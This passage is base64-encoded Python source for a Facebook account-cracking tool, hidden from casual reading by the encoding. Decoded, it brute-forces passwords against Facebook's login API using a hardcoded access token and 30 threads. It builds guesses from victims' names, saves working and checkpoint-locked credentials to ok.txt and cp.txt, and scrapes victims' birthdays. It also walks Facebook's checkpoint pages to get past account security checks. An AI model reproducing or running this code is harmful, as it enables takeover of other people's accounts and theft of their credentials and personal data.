rcCsiXSBBY2NvdW50IFtDUF0gU2F2ZWQgdG8gOiBjcC50eHQiKSkKICAgICAgICBUaHJlYWRQb29sKDMwKS5tYXAoc2VsZi5icnV0ZSxzZWxmLmZsKQogICAgICAgIG9zLnJlbW92ZShzZWxmLmFwaykKICAgICAgICBleGl0KCkKICAgICAgICBicmVhawogIGRlZiBicnV0ZVJlcXVlc3Qoc2VsZiwgdXNlcm5hbWUsIHBhc3N3b3JkKToKICAgIGdsb2JhbCBvayxjcCx0dGwKICAgIHBhcmFtcyA9IHsiYWNjZXNzX3Rva2VuIjogIjM1MDY4NTUzMTcyOCU3QzYyZjhjZTlmNzRiMTJmODRjMTIzY2MyMzQzN2E0YTMyIiwgICJmb3JtYXQiOiAiSlNPTiIsICJzZGtfdmVyc2lvbiI6ICIyIiwgImVtYWlsIjogdXNlcm5hbWUsICJsb2NhbGUiOiAiZW5fVVMiLCAicGFzc3dvcmQiOiBwYXNzd29yZCwgInNkayI6ICJpb3MiLCAiZ2VuZXJhdGVfc2Vzc2lvbl9jb29raWVzIjogIjEiLCAic2lnIjogIjNmNTU1Zjk5ZmI2MWZjZDdhYTBjNDRmNThmNTIyZWY2In0KICAgIGFwaSA9ICJodHRwczovL2ItYXBpLmZhY2Vib29rLmNvbS9tZXRob2QvYXV0aC5sb2dpbiIKICAgIHJlc3BvbnNlID0gcmVxdWVzdHMuZ2V0KGFwaSwgcGFyYW1zPXBhcmFtcykKICAgIGlmIHJlLnNlYXJjaCgiKEVBQUEpXFx3KyIsIHJlc3BvbnNlLnRleHQpOgogICAgICBzZWxmLm9rLmFwcGVuZCh1c2VybmFtZSArICIg4oCiICIgKyBwYXNzd29yZCkKICAgICAgcHJpbnQoKCJcclx4MWJbMDszMm0gKiAtLT4gJXMg4oCiICVzICVzICAgICAgICAgICAgICAgIiUodXNlcm5hbWUscGFzc3dvcmQsTikpKQogICAgICBvay5hcHBlbmQodXNlcm5hbWUgKyAiIOKAoiAiICsgcGFzc3dvcmQpCiAgICAgIHNhdmUgPSBvcGVuKCJvay50eHQiLCAiYSIpCiAgICAgIHNhdmUud3JpdGUoc3RyKHVzZXJuYW1lKSArICIg4oCiICIgKyBzdHIocGFzc3dvcmQpICsgIlxuIikKICAgICAgc2F2ZS5jbG9zZSgpCiAgICAgIHJldHVybiBUcnVlCiAgICBlbHNlOgogICAgICBpZiAid3d3LmZhY2Vib29rLmNvbSIgaW4gcmVzcG9uc2UuanNvbigpWyJlcnJvcl9tc2ciXToKICAgICAgICBzZWxmLmNwLmFwcGVuZCh1c2VybmFtZSArICIg4oCiICIgKyBwYXNzd29yZCkKICAgICAgICBwcmludCgoIlxyXHgxYlswOzMzbSAqIC0tPiAlcyDigKIgJXMgJXMgICAgICAgICAgICAgICAiJSh1c2VybmFtZSxwYXNzd29yZCxOKSkpCiAgICAgICAgc2F2ZSA9IG9wZW4oImNwLnR4dCIsICJhKyIpCiAgICAgICAgc2F2ZS53cml0ZShzdHIodXNlcm5hbWUpICsgIiDigKIgIiArIHN0cihwYXNzd29yZCkgKyAiXG4iKQogICAgICAgIHNhdmUuY2xvc2UoKQogICAgICAgIHJldHVybiBUcnVlCiAgICByZXR1cm4gRmFsc2UKICBkZWYgYnJ1dGUoc2VsZiwgZmwpOgogICAgaWYgc2VsZi5zZXRwdyA9PSBGYWxzZToKICAgICAgc2VsZi5sb29wICs9IDEKICAgICAgZm9yIHB3IGluIGZsWyJwdyJdOgogICAgICAgIHVzZXJuYW1lID0gZmxbImlkIl0ubG93ZXIoKQogICAgICAgIHBhc3N3b3JkID0gcHcubG93ZXIoKQogICAgICAgIHRyeToKICAgICAgICAgIGlmIHNlbGYuYnJ1dGVSZXF1ZXN0KHVzZXJuYW1lLCBwYXNzd29yZCkgPT0gVHJ1ZToKICAgICAgICAgICAgYnJlYWsKICAgICAgICBleGNlcHQ6CiAgICAgICAgICBjb250aW51ZQogICAgICAgIHByaW50KCgiXHJceDFiWzA7MzdtIFtDcmFja11ceDFiWzA7MzdtICVzLyVzIFx4MWJbMDszN21PSyA6ICVzIFx4MWJbMDszN21DUCA6ICVzXHgxYlswOzM3bSIlKHNlbGYubG9vcCxsZW4oc2VsZi5mbCksbGVuKHNlbGYub2spLGxlbihzZWxmLmNwKSkpLCBlbmQ9JyAnKTtzeXMuc3Rkb3V0LmZsdXNoKCkKICAgIGVsc2U6CiAgICAgIHNlbGYubG9vcCArPSAxCiAgICAgIGZvciBwdyBpbiBzZWxmLnNldHB3OgogICAgICAgIHVzZXJuYW1lID0gdXNlcnNbImlkIl0ubG93ZXIoKQogICAgICAgIHBhc3N3b3JkID0gcHcubG93ZXIoKQogICAgICAgIHRyeToKICAgICAgICAgIGlmIHNlbGYuYnJ1dGVSZXF1ZXN0KHVzZXJuYW1lLCBwYXNzd29yZCkgPT0gVHJ1ZToKICAgICAgICAgICAgYnJlYWsKICAgICAgICBleGNlcHQ6CiAgICAgICAgICBjb250aW51ZQogICAgICAgIHByaW50KCgiXHJceDFiWzA7MzdtIFtDcmFja11ceDFiWzA7MzdtICVzLyVzIFx4MWJbMDszN21PSyA6ICVzIFx4MWJbMDszN21DUCA6ICVzXHgxYlswOzM3bSIlKHNlbGYubG9vcCxsZW4oc2VsZi5mbCksbGVuKHNlbGYub2spLGxlbihzZWxmLmNwKSkpLCBlbmQ9JyAnKTtzeXMuc3Rkb3V0LmZsdXNoKCkKI0dlbmUxCmNsYXNzIGJhcGl0dGw6CiAgZGVmIF9faW5pdF9fKHNlbGYsaXNpZmlsZSk6CiAgICBzZWxmLnNldHB3ID0gRmFsc2UKICAgIHNlbGYub2sgPSBbXQogICAgc2VsZi5jcCA9IFtdCiAgICBzZWxmLmxvb3AgPSAwCiAgICBzZWxmLmtyYWgoaXNpZmlsZSkKICBkZWYga3JhaChzZWxmLGlzaWZpbGUpOgogICAgcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENyYWNrIFdpdGggUGFzcyBEZWZhdWx0L01hbnVhbCBbZC9tXSIpKQogICAgd2hpbGUgVHJ1ZToKICAgICAgZj1pbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gQ2hvb3NlIDogIikKICAgICAgaWYgZiBpblsiIiwiICJdOgogICAgICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gSW52YWxpZCBOdW1iZXIiKSkKICAgICAgICBjb250aW51ZQogICAgICBlbGlmIGYgaW5bIm0iLCJNIl06CiAgICAgICAgdHJ5OgogICAgICAgICAgd2hpbGUgVHJ1ZToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgIHNlbGYuYXBrPWlzaWZpbGUKICAgICAgICAgICAgICBzZWxmLmZzPW9wZW4oc2VsZi5hcGspLnJlYWQoKS5zcGxpdGxpbmVzKCkKICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgICAgcHJpbnQoKGsrIlsiK3ArIiEiK2srIl0iK3ArIiAlcyIlZSkpCiAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgIHNlbGYuZmw9W10KICAgICAgICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gRXhhbXBsZSA6IHNheWFuZyxrb250b2wsMTIzNDU2IikpCiAgICAgICAgICBzZWxmLnB3PWlucHV0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBQYXNzd29yZCBMaXN0IDogIikuc3BsaXQoIiwiKQogICAgICAgICAgaWYgbGVuKHNlbGYucHcpID09MDoKICAgICAgICAgICAgY29udGludWUKICAgICAgICAgIGZvciBpIGluIHNlbGYuZnM6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICBzZWxmLmZsLmFwcGVuZCh7ImlkIjppLnNwbGl0KCI8PT4iKVswXSwicHciOnNlbGYucHd9KQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgY29udGludWUKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICBwcmludCgoIiAgJXMiJWUpKQogICAgICAgICAgY29udGludWUKICAgICAgICBwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQ3JhY2sgU3RhcnRlZC4uLiIrcCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gQWNjb3VudCBbT0tdIFNhdmVkIHRvIDogb2sudHh0IitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtDUF0gU2F2ZWQgdG8gOiBjcC50eHQiKSkKICAgICAgICBUaHJlYWRQb29sKDMwKS5tYXAoc2VsZi5icnV0ZSxzZWxmLmZsKQogICAgICAgICNvcy5yZW1vdmUoc2VsZi5hcGspCiAgICAgICAgZXhpdCgpCiAgICAgICAgYnJlYWsKICAgICAgZWxpZiBmIGluWyJkIiwiRCJdOgogICAgICAgIHRyeToKICAgICAgICAgIHdoaWxlIFRydWU6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICBzZWxmLmFwaz1pc2lmaWxlCiAgICAgICAgICAgICAgc2VsZi5mcz1vcGVuKHNlbGYuYXBrKS5yZWFkKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICAgIHByaW50KGUpCiAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgIHNlbGYuZmw9W10KICAgICAgICAgIGZvciBpIGluIHNlbGYuZnM6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICBzZWxmLmZsLmFwcGVuZCh7ImlkIjppLnNwbGl0KCI8PT4iKVswXSwicHciOmdlbmVyYXRlMShpLnNwbGl0KCI8PT4iKVsxXSl9KQogICAgICAgICAgICBleGNlcHQ6Y29udGludWUKICAgICAgICBleGNlcHQ6CiAgICAgICAgICBjb250aW51ZQogICAgICAgIHByaW50KChwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDcmFjayBTdGFydGVkLi4uIitwKyJcbiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBBY2NvdW50IFtPS10gU2F2ZWQgdG8gOiBvay50eHQiK3ArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIEFjY291bnQgW0NQXSBTYXZlZCB0byA6IGNwLnR4dCIpKQogICAgICAgIFRocmVhZFBvb2woMzApLm1hcChzZWxmLmJydXRlLHNlbGYuZmwpCiAgICAgICAgb3MucmVtb3ZlKHNlbGYuYXBrKQogICAgICAgIGV4aXQoKQogICAgICAgIGJyZWFrCiAgZGVmIGJydXRlUmVxdWVzdChzZWxmLCB1c2VybmFtZSwgcGFzc3dvcmQpOgogICAgZ2xvYmFsIG9rLGNwLHR0bAogICAgcGFyYW1zID0geyJhY2Nlc3NfdG9rZW4iOiAiMzUwNjg1NTMxNzI4JTdDNjJmOGNlOWY3NGIxMmY4NGMxMjNjYzIzNDM3YTRhMzIiLCAgImZvcm1hdCI6ICJKU09OIiwgInNka192ZXJzaW9uIjogIjIiLCAiZW1haWwiOiB1c2VybmFtZSwgImxvY2FsZSI6ICJlbl9VUyIsICJwYXNzd29yZCI6IHBhc3N3b3JkLCAic2RrIjogImlvcyIsICJnZW5lcmF0ZV9zZXNzaW9uX2Nvb2tpZXMiOiAiMSIsICJzaWciOiAiM2Y1NTVmOTlmYjYxZmNkN2FhMGM0NGY1OGY1MjJlZjYifQogICAgYXBpID0gImh0dHBzOi8vYi1hcGkuZmFjZWJvb2suY29tL21ldGhvZC9hdXRoLmxvZ2luIgogICAgcmVzcG9uc2UgPSByZXF1ZXN0cy5nZXQoYXBpLCBwYXJhbXM9cGFyYW1zKQogICAgaWYgcmUuc2VhcmNoKCIoRUFBQSlcXHcrIiwgcmVzcG9uc2UudGV4dCk6CiAgICAgIHNlbGYub2suYXBwZW5kKHVzZXJuYW1lICsgIiDigKIgIiArIHBhc3N3b3JkKQogICAgICBwcmludCgoIlxyXHgxYlswOzMybSAqIC0tPiAlcyDigKIgJXMgJXMgICAgICAgICAgICAgICAiJSh1c2VybmFtZSxwYXNzd29yZCxOKSkpCiAgICAgIG9rLmFwcGVuZCh1c2VybmFtZSArICIg4oCiICIgKyBwYXNzd29yZCkKICAgICAgc2F2ZSA9IG9wZW4oIm9rLnR4dCIsICJhIikKICAgICAgc2F2ZS53cml0ZShzdHIodXNlcm5hbWUpICsgIiDigKIgIiArIHN0cihwYXNzd29yZCkgKyAiXG4iKQogICAgICBzYXZlLmNsb3NlKCkKICAgICAgcmV0dXJuIFRydWUKICAgIGVsc2U6CiAgICAgIGlmICJ3d3cuZmFjZWJvb2suY29tIiBpbiByZXNwb25zZS5qc29uKClbImVycm9yX21zZyJdOgogICAgICAgIHRyeToKICAgICAgICAgIGtlPXJlcXVlc3RzLmdldCgiaHR0cHM6Ly9ncmFwaC5mYWNlYm9vay5jb20vIitzdHIodXNlcm5hbWUpKyI/YWNjZXNzX3Rva2VuPSIrb3BlbigibG9naW4udHh0IiwiciIpLnJlYWQoKSkKICAgICAgICAgIHR0PWpzb24ubG9hZHMoa2UudGV4dCkKICAgICAgICAgIHR0bD10dFsiYmlydGhkYXkiXQogICAgICAgIGV4Y2VwdDpwYXNzCiAgICAgICAgc2VsZi5jcC5hcHBlbmQodXNlcm5hbWUgKyAiIOKAoiAiICsgcGFzc3dvcmQgKyAiIOKAoiAiICsgdHRsKQogICAgICAgIHByaW50KCJcclx4MWJbMDszM20gKiAtLT4gJXMg4oCiICVzIOKAoiAlcyAgICIlKHVzZXJuYW1lLHBhc3N3b3JkLHR0bCkpCiAgICAgICAgc2F2ZSA9IG9wZW4oImNwLnR4dCIsICJhKyIpCiAgICAgICAgc2F2ZS53cml0ZShzdHIodXNlcm5hbWUpICsgIiDigKIgIiArIHN0cihwYXNzd29yZCkgKyAiIOKAoiAiKyBzdHIodHRsKSsiXG4iKQogICAgICAgIHNhdmUuY2xvc2UoKQogICAgICAgIHJldHVybiBUcnVlCiAgICByZXR1cm4gRmFsc2UKICBkZWYgYnJ1dGUoc2VsZiwgZmwpOgogICAgaWYgc2VsZi5zZXRwdyA9PSBGYWxzZToKICAgICAgc2VsZi5sb29wICs9IDEKICAgICAgZm9yIHB3IGluIGZsWyJwdyJdOgogICAgICAgIHVzZXJuYW1lID0gZmxbImlkIl0ubG93ZXIoKQogICAgICAgIHBhc3N3b3JkID0gcHcubG93ZXIoKQogICAgICAgIHRyeToKICAgICAgICAgIGlmIHNlbGYuYnJ1dGVSZXF1ZXN0KHVzZXJuYW1lLCBwYXNzd29yZCkgPT0gVHJ1ZToKICAgICAgICAgICAgYnJlYWsKICAgICAgICBleGNlcHQ6CiAgICAgICAgICBjb250aW51ZQogICAgICAgIHByaW50KCgiXHJceDFiWzA7MzdtIFtDcmFja11ceDFiWzA7MzdtICVzLyVzIFx4MWJbMDszN21PSyA6ICVzIFx4MWJbMDszN21DUCA6ICVzXHgxYlswOzM3bSIlKHNlbGYubG9vcCxsZW4oc2VsZi5mbCksbGVuKHNlbGYub2spLGxlbihzZWxmLmNwKSkpLCBlbmQ9JyAnKTtzeXMuc3Rkb3V0LmZsdXNoKCkKICAgIGVsc2U6CiAgICAgIHNlbGYubG9vcCArPSAxCiAgICAgIGZvciBwdyBpbiBzZWxmLnNldHB3OgogICAgICAgIHVzZXJuYW1lID0gdXNlcnNbImlkIl0ubG93ZXIoKQogICAgICAgIHBhc3N3b3JkID0gcHcubG93ZXIoKQogICAgICAgIHRyeToKICAgICAgICAgIGlmIHNlbGYuYnJ1dGVSZXF1ZXN0KHVzZXJuYW1lLCBwYXNzd29yZCkgPT0gVHJ1ZToKICAgICAgICAgICAgYnJlYWsKICAgICAgICBleGNlcHQ6CiAgICAgICAgICBjb250aW51ZQogICAgICAgIHByaW50KCgiXHJceDFiWzA7MzdtIFtDcmFja11ceDFiWzA7MzdtICVzLyVzIFx4MWJbMDszN21PSyA6ICVzIFx4MWJbMDszN21DUCA6ICVzXHgxYlswOzM3bSIlKHNlbGYubG9vcCxsZW4oc2VsZi5mbCksbGVuKHNlbGYub2spLGxlbihzZWxmLmNwKSkpLCBlbmQ9JyAnKTtzeXMuc3Rkb3V0LmZsdXNoKCkKCiMjIyBSZXN1bHQgSGFzaWxsICMjIyMKCmRlZiByZXN1bHRzKGtudGwsemVjaGVlZCk6CiAgICAgICAgaWYgbGVuKGtudGwpICE9MDoKICAgICAgICAgICAgICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gT0s6ICIrc3RyKGxlbihrbnRsKSkpKQogICAgICAgIGlmIGxlbih6ZWNoZWVkKSAhPTA6CiAgICAgICAgICAgICAgICBwcmludCgocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIENQOiAiK3N0cihsZW4oemVjaGVlZCkpKSkKICAgICAgICBpZiBsZW4oa250bCkgPT0wIGFuZCBsZW4oemVjaGVlZCkgPT0wOgogICAgICAgICAgICAgICAgcHJpbnQoIlxuIikKICAgICAgICAgICAgICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gTm8gUmVzdWx0IEZvdW5kIikpCiAgIApkZWYgcmVzcygpOgogICAgb3Muc3lzdGVtKCJjbGVhciIpCiAgICBiYW5uZXIoKQogICAgcHJpbnQoKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBSZXN1bHQgQ3JhY2tlciIrcCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdICIpKQogICAgcHJpbnQoKHArIlxuIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIFJlc3VsdCBPSyAiKSkKICAgIHRyeToKICAgICAgICBvcy5zeXN0ZW0oImNhdCBvay50eHQiKQogICAgZXhjZXB0IElPRXJyb3I6CiAgICAgICAgcHJpbnQoKHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBObyBSZXN1bHQgRm91bmQiKSkKICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gUmVzdWx0IENQIikpCiAgICB0cnk6CiAgICAgICAgb3Muc3lzdGVtKCJjYXQgY3AudHh0IikKICAgIGV4Y2VwdCBJT0Vycm9yOgogICAgICAgIHByaW50KChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gTm8gUmVzdWx0IEZvdW5kIikpCiAgICBpbnB1dChwKyIgW0JBQ0tdIikKICAgIG1lbnUoKQoKCiMjIyMjIENoZWNrIE9wdGlvbiBDaGVja3BvaW50ICMjIyMjCiMjIyBSZXN1bHQgSGFzaWxsICMjIyMKZGVmIGNla19vcHNpKCk6CglwcmludCgocCsiXG4gWyIraysi4oCiIittKyLigKIiK3ArIl0gTWFzdWthbiBGaWxlIGNwLnR4dCIpKQoJZmlsZXMgPSBpbnB1dChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gRmlsZTogIikKCWlmIGZpbGVzID09ICIiOgoJCWNla19vcHNpKCkKCXRyeToKCQlidWthX2JhanUgPSBvcGVuKGZpbGVzLCAiciIpLnJlYWRsaW5lcygpCglleGNlcHQgSU9FcnJvcjoKCQlleGl0KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBGaWxlcyAlcyVzJXMgVGlkYWsgQWRhISIlKGgsZmlsZXMscCkpCglwcmludChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gVG90YWwgQWNjb3VudCBDcCA6ICIrc3RyKGxlbihidWthX2JhanUpKSkKCXByaW50KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSBDaGVjayBPcHRpb24gQ2hlY2twb2ludCwgUGxlYXNlIFdhaXQuLi4iKQoJZm9yIG1lbWVrIGluIGJ1a2FfYmFqdToKCQlrb250b2wgPSBtZW1lay5yZXBsYWNlKCJcbiIsIiIpCgkJdGl0aWQgID0ga29udG9sLnNwbGl0KCIg4oCiICIpCgkJcHJpbnQoIlwwMzNbMTszN21cbiBbXDAzM1sxOzMzbeKAolwwMzNbMTs5MW3igKJcMDMzWzE7MzdtXSAiK2tvbnRvbC5yZXBsYWNlKCIgKyAiLCIiKSkKCQl0cnk6CgkJCWNoZWNrX2luKHRpdGlkWzBdLnJlcGxhY2UoIiArICIsIiIpLCB0aXRpZFsxXSkKCQlleGNlcHQgcmVxdWVzdHMuZXhjZXB0aW9ucy5Db25uZWN0aW9uRXJyb3I6CgkJCXBhc3MKCWlucHV0KCIlcyBbQkFDS10iJShwKSkKCW1lbnUoKQoKZGVmIGNoZWNrX2luKHVzZXIsIHBhc3cpOgoJbWIgPSAoImh0dHBzOi8vZnJlZS5mYWNlYm9vay5jb20iKQoJdWEyID0gKCJOb2tpYUMzLTAwLzUuMCAoMDcuMjApIFByb2ZpbGUvTUlEUC0yLjEgQ29uZmlndXJhdGlvbi9DTERDLTEuMSBNb3ppbGxhLzUuMCBBcHBsZVdlYktpdC80MjArIChLSFRNTCwgbGlrZSBHZWNrbykgU2FmYXJpLzQyMCsiKQoJc2VzID0gcmVxdWVzdHMuU2Vzc2lvbigpCgkjLT4gcGVtaXNhaAoJc2VzLmhlYWRlcnMudXBkYXRlKHsiSG9zdCI6ICJtLmZhY2Vib29rLmNvbSIsImNhY2hlLWNvbnRyb2wiOiAibWF4LWFnZT0wIiwidXBncmFkZS1pbnNlY3VyZS1yZXF1ZXN0cyI6ICIxIiwib3JpZ2luIjogbWIsImNvbnRlbnQtdHlwZSI6ICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiLCJ1c2VyLWFnZW50IjogdWEsImFjY2VwdCI6ICJ0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS93ZWJwLGltYWdlL2FwbmcsKi8qO3E9MC44LGFwcGxpY2F0aW9uL3NpZ25lZC1leGNoYW5nZTt2PWIzO3E9MC45IiwieC1yZXF1ZXN0ZWQtd2l0aCI6ICJtYXJrLnZpYS5ncCIsInNlYy1mZXRjaC1zaXRlIjogInNhbWUtb3JpZ2luIiwic2VjLWZldGNoLW1vZGUiOiAibmF2aWdhdGUiLCJzZWMtZmV0Y2gtdXNlciI6ICI/MSIsInNlYy1mZXRjaC1kZXN0IjogImRvY3VtZW50IiwicmVmZXJlciI6IG1iKyIvbG9naW4vP25leHQmcmVmPWRibCZmbCZyZWZpZD04IiwiYWNjZXB0LWVuY29kaW5nIjogImd6aXAsIGRlZmxhdGUiLCJhY2NlcHQtbGFuZ3VhZ2UiOiAiaWQtSUQsaWQ7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjcifSkKCWRhdGEgPSB7fQoJZ2VkID0gcGFyc2VyKHNlcy5nZXQobWIrIi9sb2dpbi8/bmV4dCZyZWY9ZGJsJmZsJnJlZmlkPTgiLCBoZWFkZXJzPXsidXNlci1hZ2VudCI6dWF9KS50ZXh0LCAiaHRtbC5wYXJzZXIiKQoJZm0gPSBnZWQuZmluZCgiZm9ybSIseyJtZXRob2QiOiJwb3N0In0pCglsaXN0ID0gWyJsc2QiLCJqYXpvZXN0IiwibV90cyIsImxpIiwidHJ5X251bWJlciIsInVucmVjb2duaXplZF90cmllcyIsImxvZ2luIiwiYmlfeHJ3aCJdCglmb3IgaSBpbiBmbS5maW5kX2FsbCgiaW5wdXQiKToKCQlpZiBpLmdldCgibmFtZSIpIGluIGxpc3Q6CgkJCWRhdGEudXBkYXRlKHtpLmdldCgibmFtZSIpOmkuZ2V0KCJ2YWx1ZSIpfSkKCQllbHNlOgoJCQljb250aW51ZQoJZGF0YS51cGRhdGUoeyJlbWFpbCI6dXNlciwicGFzcyI6cGFzd30pCglydW4gPSBwYXJzZXIoc2VzLnBvc3QobWIrZm0uZ2V0KCJhY3Rpb24iKSwgZGF0YT1kYXRhLCBhbGxvd19yZWRpcmVjdHM9VHJ1ZSkudGV4dCwgImh0bWwucGFyc2VyIikKCWlmICJjaGVja3BvaW50IiBpbiBzZXMuY29va2llczoKCQlmb3JtID0gcnVuLmZpbmQoImZvcm0iKQoJCWR0c2cgPSBmb3JtLmZpbmQoImlucHV0Iix7Im5hbWUiOiJmYl9kdHNnIn0pWyJ2YWx1ZSJdCgkJanpzdCA9IGZvcm0uZmluZCgiaW5wdXQiLHsibmFtZSI6Imphem9lc3QifSlbInZhbHVlIl0KCQluaCAgID0gZm9ybS5maW5kKCJpbnB1dCIseyJuYW1lIjoibmgifSlbInZhbHVlIl0KCQlkYXRhRCA9IHsiZmJfZHRzZyI6IGR0c2csImZiX2R0c2ciOiBkdHNnLCJqYXpvZXN0IjoganpzdCwiamF6b2VzdCI6IGp6c3QsImNoZWNrcG9pbnRfZGF0YSI6IiIsInN1Ym1pdFtDb250aW51ZV0iOiJMYW5qdXRrYW4iLCJuaCI6IG5ofQoJCXhueHggPSBwYXJzZXIoc2VzLnBvc3QobWIrZm9ybVsiYWN0aW9uIl0sIGRhdGE9ZGF0YUQpLnRleHQsICJodG1sLnBhcnNlciIpCgkJbmdldyA9IFt5eS50ZXh0IGZvciB5eSBpbiB4bnh4LmZpbmRfYWxsKCJvcHRpb24iKV0KCQlwcmludChwKyIgWyIraysi4oCiIittKyLigKIiK3ArIl0gVG90YWwgT3BzaSBZYW5nIFRlcnNlZGlhICIrc3RyKGxlbihuZ2V3KSkpCgkJZm9yIG9wdCBpbiByYW5nZShsZW4obmdldykpOgoJCQlwcmludCgiICAgIitzdHIob3B0KzEpKyIgIituZ2V3W29wdF0pCgllbGlmICJsb2dpbl9lcnJvciIgaW4gc3RyKHJ1bik6CgkJb2ggPSBydW4uZmluZCgiZGl2Iix7ImlkIjoibG9naW5fZXJyb3IifSkuZmluZCgiZGl2IikudGV4dAoJCXByaW50KHArIiBbIitrKyLigKIiK20rIuKAoiIrcCsiXSAlcyIlKG9oKSkKCWVsc2U6CgkJcHJpbnQocCsiIFsiK2srIuKAoiIrbSsi4oCiIitwKyJdIExvZ2luIEdhZ2FsLCBJRC9QYXNzIFNhbGFoXG4iKQppZiBfX25hbWVfXz09Il9fbWFpbl9fIjoKCW9zLnN5c3RlbSgnZ2l0IHB1bGwnKQoJbWVudSgpCg=='))